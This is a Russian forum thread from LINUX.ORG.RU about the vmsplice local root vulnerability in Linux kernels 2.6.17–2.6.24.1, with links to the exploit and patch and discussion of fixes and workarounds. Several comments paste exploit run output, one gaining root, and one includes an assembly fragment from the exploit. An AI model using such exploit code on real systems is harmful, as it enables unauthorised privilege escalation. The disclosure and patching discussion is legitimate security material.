LINUX.ORG.RU

Повышение привилегий в vmsplice

 , ,


0

0

Недостаточно скрупулезная проверка входных данных в системном вызове vmsplice позволяет обычному пользователю повысить привилегии до root-а на ядрах 2.6.17-2.6.24.1.

>>> Эксплойт

>>> Патч

>>> Обсуждение на /.

>>> LOR Talks

Update: Вышли новые версии ядер: 2.6.24.2, 2.6.23.16 и 2.6.22.18 с исправленной ошибкой.

>>> Подробности

★★★★

Проверено: Shaman007 ()

Господа модераторы, поставьте, пожалуйста, версию ядра: 2.6.17-2.6.24.1

И заголовок бы неплохо сменить на "Повышение привилегий в системном вызове vmsplice"

А то я недостаточно прав, чтобы это поправить.

lodin ★★★★
() автор топика

Вы на бояне не играли вчера в переходе у метро?

anonymous
()

Чорт, ну зачем. Теперь анонимусы, зайдя на лор, будут хакать сервера нашего кампуса

michwill ★★★★★
()
Ответ на: комментарий от plm

----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] addr: 0xc011b810 [-] wtf

Linux host 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux

у мну не работает ) Ubuntu 7.10

anonymous
()
Ответ на: комментарий от anonymous

попробуй несколько раз.

[avl@localhost tmp]$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f75000 .. 0xb7fa7000
[-] wtf

[avl@localhost tmp]$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f4d000 .. 0xb7f7f000
[+] root
[root@localhost tmp]# exit

AVL2 ★★★★★
()
Ответ на: комментарий от AVL2

jessica...c (альтернативный эксплоит) на Ubuntu 7.10 работает, весело ) И весело будет сейчас кулхацкерам всяким

anonymous
()

Ubuntu Gutsy, ядро 2.6.22-14.46 искоробочное. Эксплойт работает.

Sikon ★★★
()
Ответ на: комментарий от magellan

И что-то мне подсказывает, что вышло минут 10 назад...

magellan
()
Ответ на: комментарий от magellan

Ну что что вышло? От что с того? :) Типа нифига перегружать сервера не надо и т.д. Оно вышло и тут же, благодаря силе выхлопа нового ядра, все вокруг стало неподверженным злой дыре. :)

anonymous
()
Ответ на: комментарий от anonymous

еще бы оно не вышло) но ленивые горе-админы на "пупкинхостах" живут счастливо в неведении , пока не нагнут их в позу )

anonymous
()

Спасибо, успешно использовал дома и на работе. Вчера только искал такой эксплоит.

anonymous
()

Не работает на Ubuntu 7.04

deadbeef@penguin:~/experiments$ ./expl

-----------------------------------

Linux vmsplice Local Root Exploit

By qaaz

-----------------------------------

[+] mmap: 0x0 .. 0x1000

[+] page: 0x0

[+] page: 0x20

[+] mmap: 0x4000 .. 0x5000

[+] page: 0x4000

[+] page: 0x4020

[+] mmap: 0x1000 .. 0x2000

[+] page: 0x1000

[+] mmap: 0xb7d96000 .. 0xb7dc8000

Segmentation fault (core dumped)

deadbeef@penguin:~/experiments$ uname -a

Linux penguin 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux

deadbeef
()

Когда grsecurity для нового ядра ждать? :(

anonymous
()
Ответ на: комментарий от sS

костылина (runtime) для тех кто не может ждать

http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

запускается, эксплоитит и отключает vmsplice на работающем ядре до перезагрузки. Не проверяла (!!!) используйте на свой страх и риск, стабильность - без понятия.

anonymous
()

Локальные эксплойты - фтопку!
Шелла у обычных юзеров все равно нет на подавляющем большинстве машин.
Вот если бы он был ремоутный...

anonymous
()

Уже пропатчил ядро.. У меня 2.6.21.5 так что патч по ссылке для него не подошел, номер строки другой в моем файле. Весь смысл в том, чтобы найти в файле /usr/src/linux/fs/splice.c строку: if (unlikely(!base)) и заменить ее на if (!access_ok(VERIFY_READ, base, len)) далее можно собирать новое ядро...

anonymous
()
Ответ на: комментарий от anonymous

> if (unlikely(!base)) и заменить ее на if (!access_ok(VERIFY_READ, base, len))

LOL ;))))

sS ★★★★★
()
Ответ на: комментарий от sS

>http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
Жесть ;)

Debian 4.0 - ядро стандартное - эксплоит работает
Debina 4.0 kernel 2.6.23.11 - эксплоит работает

У юзеров есть доступ к шеллу. Работа сервера очень критична, минута - и мне всекут. Аптайм терять тоже нельзя, это один из показателей хорошей работы админа. Спасает только вот это http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
Понимаю что жесть. А что поделать то?

Zalman
()
Ответ на: комментарий от Zalman

Ты не понял ;)

Поправить таблицу сисколов в рантайме это нормально, но зачем для этого нужно юзать этот же эксплойт чтобы получить id=0 ? ;)

>Аптайм терять тоже нельзя, это один из показателей хорошей работы админа.

Пацтулом ;)

Кстати по одной из ссылок куча репортов о краше ядра после этого метода. Если твои юзеры вместо 5 минутного простоя потеряют данные это лучьше ? o_O

sS ★★★★★
()
Ответ на: комментарий от Zalman

> Аптайм терять тоже нельзя, это один из показателей хорошей работы админа. Фиговый это показатель сам по себе. Хорошая работа гораздо лучше проявится в нормальной загрузке пропатченого ядра, чем оставлять аптайм с ядром где на лету поставлен хитрый workaround вместо корректного исправления.

anonymous
()
Ответ на: комментарий от isden

>слава йайцам, довольно оперативно пофиксили.

6 месяцев это оперативно ? o_O

Пока не появился работающий эксплоит никто и не чесался

sS ★★★★★
()
Ответ на: комментарий от plm

> Не работает на powerpc.

Это не значит что PPC нет проблем

haywire
()
Ответ на: комментарий от plm

>Не работает на powerpc.

Ну еще бы intell-овский код работал на powerpc

tatic_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

I3rain
()

и я в очередной раз порадовался отобранным правам на запуск гцц и noexec на /home /tmp и /var/tmp ...

anonymous
()
Ответ на: комментарий от sS

По всем ссылках стоит дата обнаружения февраль сего года, нигде не указано что знали за полгода до того

KUser
()
Ответ на: комментарий от kott

не получилось на Linux 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux убунта 7,04

Pegasus
()
Ответ на: комментарий от Farcaller

>На домашнем 2.6.24-zen1 заработал, а вот серверам на openvz и xen'е начхать :)

Ну прям. Там скорее всего структуры немного другие, поэтому эксплойт попадает не туда. Уронить ядро через дырку все равно можно.

WFrag ★★★★
()
Ответ на: комментарий от anonymous

> у мну не работает ) Ubuntu 7.10

Всё там работает ;) На Ubuntu 7.10

anonymous
()
Ответ на: комментарий от anonymous

> запускается, эксплоитит и отключает vmsplice на работающем ядре до перезагрузки. Не проверяла (!!!) используйте на свой страх и риск, стабильность - без понятия.

Гыгы. А при перезагрузке после этого эксплоита наступает kernel panic ;)

anonymous
()
Ответ на: комментарий от anonymous

> и я в очередной раз порадовался отобранным правам на запуск гцц и noexec на /home /tmp и /var/tmp ...

Радуйся, радуйся деточка! А scp, rcp, ftp, tftp, smb, nfs etc. ты уже запретил???

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.